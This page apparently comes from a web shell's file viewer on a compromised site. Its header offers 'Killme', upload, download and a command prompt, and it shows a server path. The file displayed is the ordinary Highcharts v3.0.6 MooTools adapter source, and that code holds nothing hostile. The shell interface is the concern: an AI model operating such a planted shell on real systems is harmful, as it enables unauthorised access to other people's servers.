.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/recensement2/js/adapters/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/recensement2/js/adapters/mootools-adapter.src.js

    /**
     * @license Highcharts JS v3.0.6 (2013-10-04)
     * MooTools adapter
     *
     * (c) 2010-2013 Torstein Hønsi
     *
     * License: www.highcharts.com/license
     */
    
    // JSLint options:
    /*global Fx, $, $extend, $each, $merge, Events, Event, DOMEvent */
    
    (function () {
    
    var win = window,
    	doc = document,
    	mooVersion = win.MooTools.version.substring(0, 3), // Get the first three characters of the version number
    	legacy = mooVersion === '1.2' || mooVersion === '1.1', // 1.1 && 1.2 considered legacy, 1.3 is not.
    	legacyEvent = legacy || mooVersion === '1.3', // In versions 1.1 - 1.3 the event class is named Event, in newer versions it is named DOMEvent.
    	$extend = win.$extend || function () {
    		return Object.append.apply(Object, arguments);
    	};
    
    win.HighchartsAdapter = {
    	/**
    	 * Initialize the adapter. This is run once as Highcharts is first run.
    	 * @param {Object} pathAnim The helper object to do animations across adapters.
    	 */
    	init: function (pathAnim) {
    		var fxProto = Fx.prototype,
    			fxStart = fxProto.start,
    			morphProto = Fx.Morph.prototype,
    			morphCompute = morphProto.compute;
    
    		// override Fx.start to allow animation of SVG element wrappers
    		/*jslint unparam: true*//* allow unused parameters in fx functions */
    		fxProto.start = function (from, to) {
    			var fx = this,
    				elem = fx.element;
    
    			// special for animating paths
    			if (from.d) {
    				//this.fromD = this.element.d.split(' ');
    				fx.paths = pathAnim.init(
    					elem,
    					elem.d,
    					fx.toD
    				);
    			}
    			fxStart.apply(fx, arguments);
    
    			return this; // chainable
    		};
    
    		// override Fx.step to allow animation of SVG element wrappers
    		morphProto.compute = function (from, to, delta) {
    			var fx = this,
    				paths = fx.paths;
    
    			if (paths) {
    				fx.element.attr(
    					'd',
    					pathAnim.step(paths[0], paths[1], delta, fx.toD)
    				);
    			} else {
    				return morphCompute.apply(fx, arguments);
    			}
    		};
    		/*jslint unparam: false*/
    	},
    	
    	/**
    	 * Run a general method on the framework, following jQuery syntax
    	 * @param {Object} el The HTML element
    	 * @param {String} method Which method to run on the wrapped element
    	 */
    	adapterRun: function (el, method) {
    		
    		// This currently works for getting inner width and height. If adding
    		// more methods later, we need a conditional implementation for each.
    		if (method === 'width' || method === 'height') {
    			return parseInt($(el).getStyle(method), 10);
    		}
    	},
    
    	/**
    	 * Downloads a script and executes a callback when done.
    	 * @param {String} scriptLocation
    	 * @param {Function} callback
    	 */
    	getScript: function (scriptLocation, callback) {
    		// We cannot assume that Assets class from mootools-more is available so instead insert a script tag to download script.
    		var head = doc.getElementsByTagName('head')[0];
    		var script = doc.createElement('script');
    
    		script.type = 'text/javascript';
    		script.src = scriptLocation;
    		script.onload = callback;
    
    		head.appendChild(script);
    	},
    
    	/**
    	 * Animate a HTML element or SVG element wrapper
    	 * @param {Object} el
    	 * @param {Object} params
    	 * @param {Object} options jQuery-like animation options: duration, easing, callback
    	 */
    	animate: function (el, params, options) {
    		var isSVGElement = el.attr,
    			effect,
    			complete = options && options.complete;
    
    		if (isSVGElement && !el.setStyle) {
    			// add setStyle and getStyle methods for internal use in Moo
    			el.getStyle = el.attr;
    			el.setStyle = function () { // property value is given as array in Moo - break it down
    				var args = arguments;
    				this.attr.call(this, args[0], args[1][0]);
    			};
    			// dirty hack to trick Moo into handling el as an element wrapper
    			el.$family = function () { return true; };
    		}
    
    		// stop running animations
    		win.HighchartsAdapter.stop(el);
    
    		// define and run the effect
    		effect = new Fx.Morph(
    			isSVGElement ? el : $(el),
    			$extend({
    				transition: Fx.Transitions.Quad.easeInOut
    			}, options)
    		);
    
    		// Make sure that the element reference is set when animating svg elements
    		if (isSVGElement) {
    			effect.element = el;
    		}
    
    		// special treatment for paths
    		if (params.d) {
    			effect.toD = params.d;
    		}
    
    		// jQuery-like events
    		if (complete) {
    			effect.addEvent('complete', complete);
    		}
    
    		// run
    		effect.start(params);
    
    		// record for use in stop method
    		el.fx = effect;
    	},
    
    	/**
    	 * MooTool's each function
    	 *
    	 */
    	each: function (arr, fn) {
    		return legacy ?
    			$each(arr, fn) :
    			Array.each(arr, fn);
    	},
    
    	/**
    	 * Map an array
    	 * @param {Array} arr
    	 * @param {Function} fn
    	 */
    	map: function (arr, fn) {
    		return arr.map(fn);
    	},
    
    	/**
    	 * Grep or filter an array
    	 * @param {Array} arr
    	 * @param {Function} fn
    	 */
    	grep: function (arr, fn) {
    		return arr.filter(fn);
    	},
    	
    	/**
    	 * Return the index of an item in an array, or -1 if not matched
    	 */
    	inArray: function (item, arr, from) {
    		return arr ? arr.indexOf(item, from) : -1;
    	},
    
    	/**
    	 * Get the offset of an element relative to the top left corner of the web page
    	 */
    	offset: function (el) {
    		var offsets = el.getPosition(); // #1496
    		return {
    			left: offsets.x,
    			top: offsets.y
    		};
    	},
    
    	/**
    	 * Extends an object with Events, if its not done
    	 */
    	extendWithEvents: function (el) {
    		// if the addEvent method is not defined, el is a custom Highcharts object
    		// like series or point
    		if (!el.addEvent) {
    			if (el.nodeName) {
    				el = $(el); // a dynamically generated node
    			} else {
    				$extend(el, new Events()); // a custom object
    			}
    		}
    	},
    
    	/**
    	 * Add an event listener
    	 * @param {Object} el HTML element or custom object
    	 * @param {String} type Event type
    	 * @param {Function} fn Event handler
    	 */
    	addEvent: function (el, type, fn) {
    		if (typeof type === 'string') { // chart broke due to el being string, type function
    
    			if (type === 'unload') { // Moo self destructs before custom unload events
    				type = 'beforeunload';
    			}
    
    			win.HighchartsAdapter.extendWithEvents(el);
    
    			el.addEvent(type, fn);
    		}
    	},
    
    	removeEvent: function (el, type, fn) {
    		if (typeof el === 'string') {
    			// el.removeEvents below apperantly calls this method again. Do not quite understand why, so for now just bail out.
    			return;
    		}
    		
    		if (el.addEvent) { // If el doesn't have an addEvent method, there are no events to remove
    			if (type) {
    				if (type === 'unload') { // Moo self destructs before custom unload events
    					type = 'beforeunload';
    				}
    	
    				if (fn) {
    					el.removeEvent(type, fn);
    				} else if (el.removeEvents) { // #958
    					el.removeEvents(type);
    				}
    			} else {
    				el.removeEvents();
    			}
    		}
    	},
    
    	fireEvent: function (el, event, eventArguments, defaultFunction) {
    		var eventArgs = {
    			type: event,
    			target: el
    		};
    		// create an event object that keeps all functions
    		event = legacyEvent ? new Event(eventArgs) : new DOMEvent(eventArgs);
    		event = $extend(event, eventArguments);
    
    		// When running an event on the Chart.prototype, MooTools nests the target in event.event
    		if (!event.target && event.event) {
    			event.target = event.event.target;
    		}
    
    		// override the preventDefault function to be able to use
    		// this for custom events
    		event.preventDefault = function () {
    			defaultFunction = null;
    		};
    		// if fireEvent is not available on the object, there hasn't been added
    		// any events to it above
    		if (el.fireEvent) {
    			el.fireEvent(event.type, event);
    		}
    
    		// fire the default if it is passed and it is not prevented above
    		if (defaultFunction) {
    			defaultFunction(event);
    		}
    	},
    	
    	/**
    	 * Set back e.pageX and e.pageY that MooTools has abstracted away. #1165, #1346.
    	 */
    	washMouseEvent: function (e) {
    		if (e.page) {
    			e.pageX = e.page.x;
    			e.pageY = e.page.y;
    		}
    		return e;
    	},
    
    	/**
    	 * Stop running animations on the object
    	 */
    	stop: function (el) {
    		if (el.fx) {
    			el.fx.cancel();
    		}
    	}
    };
    
    }());